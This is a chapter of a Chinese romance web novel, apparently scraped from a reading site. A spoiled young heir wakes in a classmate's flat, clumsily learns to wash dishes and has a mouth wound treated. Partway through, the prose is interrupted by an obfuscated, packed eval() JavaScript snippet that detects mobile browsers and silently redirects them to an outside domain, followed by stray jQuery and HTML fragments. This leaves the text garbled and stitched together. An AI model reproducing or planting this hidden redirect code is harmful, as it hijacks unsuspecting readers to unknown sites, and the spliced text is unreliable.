33. 第33章 奇怪的她

-


再次醒来,重砚看着周围陌生的环境。


这是哪里?


他怎么会在这儿?


摸摸发痛的后脑勺,重砚掀开空调被下了床。


卧室面积不大,整体呈暖色系,窗帘和床单是淡淡的米黄色,家具也是。


看着给人一种很温暖舒适的感觉。


他踩着拖鞋走出卧室,先是环视四周,向着左边的客厅走去。


房子是三室两厅的格局。


过道左侧是明亮的客厅,右边是饭厅,两边都有阳台。


饭厅的旁边拉开推拉门就是厨房。


橱柜前站着一个女孩的身影,对方扎着低马尾。


他仔细盯了一会儿,眯着双眸试探道:“江...亦白?”


对方缓缓转过身,露出一张白净的素脸,只是表情看着不是那么高兴。


“既然起床了就去洗漱,然后过来吃早饭。”


江亦白两手端着一大早买回来的早饭,放在桌上,随后坐下准备开吃。


完全没有等重砚一起吃的打算。


重砚望着那餐盘里的食物。


有包子油条豆浆和粥,还挺丰盛的,只不过...


“怎么没有牛奶啊,我想吃包菜蛋饼配荷包蛋,还有鳕鱼松芝士饭团。”


刚咽下一口小米粥,江亦白就听到对方不客气地点餐,很是哭笑不得。


“重小少爷,早餐呢只有这些,至于你——”


江亦白边说,边将目光缓缓移动到重砚的脸上,补充完剩下的话:“爱吃不吃!”


话落,她就继续吃着自己的早餐,不再搭理重砚。


重砚撅着嘴角:“江亦白你怎么变成这样?明明你之前不是这样的人。”


“重小少爷,我是怎么样的人呢,跟您没有关系...”


“我只知道,您再不去洗漱,这些早餐...就要凉了...”


忽然,重砚的肚子发出一阵咕咕叫的声音。


他小声嘟囔着:“该死...昨晚逞强离家出走害得都没来得及吃饭,这会好饿!”


趁着江亦白没注意到,他立刻转身跑进浴室洗漱。


五分钟后,回到餐厅拉开椅子坐下。


扫过每个餐盘,他忿忿不平地拿起一个包子,将就着面前的小米粥开动。


视线朝着面对面坐着的江亦白,对着包子狠狠咬下一大口。


那样子不像是在吃包子,反倒是想吃某人。


很不幸...


不认真的下场就是被噎住嗓子。


那口包子卡在嗓子关节,重砚急忙端起杯子,喝下一口豆浆。


缓了好半天,才艰难地咽下去。


“咳咳,江亦白你买的这什么包子,一点都不好吃!又咸菜又老。”


这东西在他家,都是直接倒进垃圾桶的。


不过...这话他可不敢现在说出来。


吃完早餐的江亦白收拾着饭碗向橱柜上端去,听到重砚的评价,她只回头说道:“既然觉得不好吃,麻烦您自己回家,门口在那!好走不送!”


“......”


重砚瞬间凝噎,不敢再顶嘴。


默默垂下头,开始认真吃早餐。


人在屋檐下不得不低头。


吃完早餐的重砚正打算起身回客厅,坐在沙发上的江亦白朝他望去:“自己吃的碗筷,自己收拾!”


重砚愣在原地,他抬起手指着自己,瞪大眼发出疑问:“你让我...收拾这些?”


江亦白边回复着手机上的消息,边点头:“对啊,有什么问题吗?”


重砚:“我...我堂堂重家小少爷,你让我收拾这些残羹剩饭,没搞错吧?我在家都是佣人阿姨们收拾的。”


发出消息后,江亦白侧过头,目光直直凝视着重砚。


“可你现在是在我家。”勾起嘴角:“而且我这里也没有佣人阿姨,只能劳烦重小少爷您自己收拾了。”


“那你干嘛不请个阿姨?”


半晌后,江亦白只回了句:“我不喜欢别人进我家。”


“好吧...”


从昨晚开始重砚就清楚明白眼前的江亦白果真和过去不同,现在的她是自己完全不了解的江亦白。


一个十分陌生又让他感到新奇的江亦白。


那种致命的吸引力,强烈地驱使着他的好奇心。


重砚认命地收拾着碗筷,摞成一堆后他小心翼翼抱着走向厨房,正放好在橱柜上时,最上面一层的碗歪着头掉落在地上。


碎了。


这动静惊到客厅的江亦白,她起身走到厨房门前,还没反应过来的重砚呆呆站在原地。


她扶着额头,很是无奈:“重小少爷,您还真是衣来伸手饭来张口啊!”


重砚当然听得出来这是在嘲讽他。


他头次这么尴尬:“我...是这个碗自己不听话,就掉了!不能怪我...”


“我都跟你说了,我家有佣人阿姨,我怎么可能会做这些?!”


犟完嘴的重砚低下头,有几分目光躲闪的意味。


又不能怪他,明明是这碗的问题...


哼!


几秒钟后,重砚察觉到江亦白走进厨房,接过那堆脏碗放在水池里,他奇怪道:“江亦白你要做什么?”


对方好声好气地回着:“当然是为了保住我这些餐具的小命!”


重砚的脸“唰”地一红。


“不就是洗个碗,有什么大不了的!大不了...”重砚咬着嘴唇继续道:“大不了,你教我怎么洗碗呗!”


江亦白瞥了他一眼,语气淡淡,“过来。”


重砚别扭着脚步走到江亦白身边,犹豫半天像赴死般朝脏兮兮的碗堆里伸出手,水龙头被拧开,水哗哗流下来,冲打在他的手上。


江亦白出声说着步骤。


“碗要先打湿,这是洗洁精,我一般把会用小喷壶兑水,这样就能节省着用...”


“干嘛不直接倒洗洁精,这还要兑水真麻烦!”


“重小少爷,您还是真是不当家不知柴米贵啊...兑好后喷壶朝着碗喷几下,再用海绵布擦拭碗和盘子...”


在江亦白的指导下,重砚忍着手心上的那股油腻感一步步操作着。


终于。


被堆放在水池左侧的碗筷盘子都洗干净了,可因为没放好的缘故,堆着的碗摇摇晃晃着向右边倾斜倒去。


慌乱下,江亦白迅速伸出双手,左手扶着那堆碗碟,右手覆在重砚双手的手背上。


“你没事吧?”她抬起眉眼望着重砚问道。


这时的重砚身高早已超过一米七八,比一米七二的江亦白高出不少。


水流随着江亦白的手背冲刷到重砚的手上,像是砸在他的心头。


视线定格在两人都被浸湿的双手上,重砚清晰感觉到江亦白掌心传来的滚烫,那温度又立刻向全身遍布而去。


忽地,他的心跳开始加速。


扑通扑通。


几乎要跳出嗓子眼。


慌乱之中他的视线飘忽不定。


“我...”


不经意间他瞥见江亦白仰头看着他的模样。


那双眼眸亮亮的,十分好看。


他的心脏陡然一紧,“唰”地一下抽出双手,脑袋立刻撇向别处,耳廓也不自觉地发着烫,说话都带着结巴:“我我...我没事。”


这江亦白...


怎么突然之间就变好看了?


该死!


一定是他的错觉!


明明还是个土妞。


不对啊,他有什么好紧张的,想到这重砚又转过头,质问道:“你刚刚干嘛伸手,吓我一跳!我还以为...”<


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15724008|173969||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


p>“以为什么?”


江亦白面色无常地接过剩下的活,将碗筷都擦干净放进橱柜里。


重砚红着耳垂,怒视着作案人,微张着薄唇几次想要说些什么,最后还是小声道:“没,没什么...”


难不成让他直接问,她是不是对自己有意思?


不然干嘛摸他的手?


还...


怪不好意思的!


重砚不禁抿着嘴笑起来,却不小心扯到嘴角的伤口。


“嘶,好疼...”


只好忍下内心的愉悦,又察觉到自己的脸开始发烫,重砚不由自主地抬起双手捧着自己的脸,内心想着些弯弯绕绕。


收拾完的江亦白回过头,看到这幕诧异道:“重砚...你的手...好像还没洗呢?!”


闻声,重砚的脸“轰”地一声儿白了。


*


半小时后,客厅。


重砚坐在沙发上,等着江亦白拿来医药箱。


他看着她用棉签沾了沾碘伏后,朝他而来。


看着对方直愣愣的动作,他有些害怕:“你,你轻点。”


江亦白表情淡淡:“你还弄不弄?”


感受到对方明显的不耐烦,重砚抿着嘴不敢再吭声。


他攥紧拳头再次告诉自己,人在屋檐下不得不低头。


为方便江亦白擦药,重砚不得已微微侧起头,垂下眼睫,对方此刻的表情映入眼帘。


裹着棕褐色的棉签轻拭过嘴角淤青。


重砚下意识闭着眼紧皱眉头,江亦白看了他一眼,以为是痛。


下一秒,重砚就感到伤口处迎来一股暖热的风。


他睁开眼,见到眼前的画面后呆呆愣住。


江亦白正对着他的唇角轻轻吹着风,表情还很温柔。


原来....


她这么好看...


还一点也不丑不土...


高挺秀气的鼻梁和一双明亮温和的桃花眼,还有长长的睫毛,处处都那么好看。


而且,莫名地他似乎还闻到对方身上传来一股很好闻的香气。


那味道他无法形容。


但——


对他有着致命的吸引力。


盯着江亦白那张脸,重砚凸起的喉结下意识滚动。


那股风好像...忽然间吹上了他的心头。


为什么心跳会这么快。


他抬起手掌半捂着心脏的位置,感到奇怪。


那里——


发出一阵“嗵嗵嗵...”的声音。


清晰而有力。


为避免脑海出现一些奇怪的念头,重砚转移话题:“那个...我记得你不是应该住在江家吗?怎么住在这里?”


擦完碘伏,江亦白又拿出红霉素软膏,朝着指腹上挤出一点对着重砚受伤的嘴角擦拭着。


“高考成绩还行,爷爷就奖励了我这套房子,这里离学校近,我就搬出来了。”


重砚撇撇嘴,嘴角上的冰凉的药膏在对方指腹的揉搓下渐渐变得温热。


“可这房子看着就很一般,你考到全国状元诶,怎么不给你奖励个大平层别墅什么的?”


话落,伤口就被狠狠一按。


“嘶,江亦白你弄疼我了!”重砚撅起嘴,望着江亦白的眼神里满是不乐意。


处理完伤口,江亦白仿佛没听到对方的质问,自然地抽出一张纸巾擦拭手指。


擦干净后,手里还拽着纸巾良久。


平静的语气回应着。


“重小少爷,不是所有人都像你一样,有个能无条件宠爱你的爷爷和父母。”


听着这回答,重砚愣神似得盯着江亦白收拾东西的动作。


她是不是生气了?


等到对方放回医药箱,他又听见江亦白的话。


“重砚,你该回去了。”


-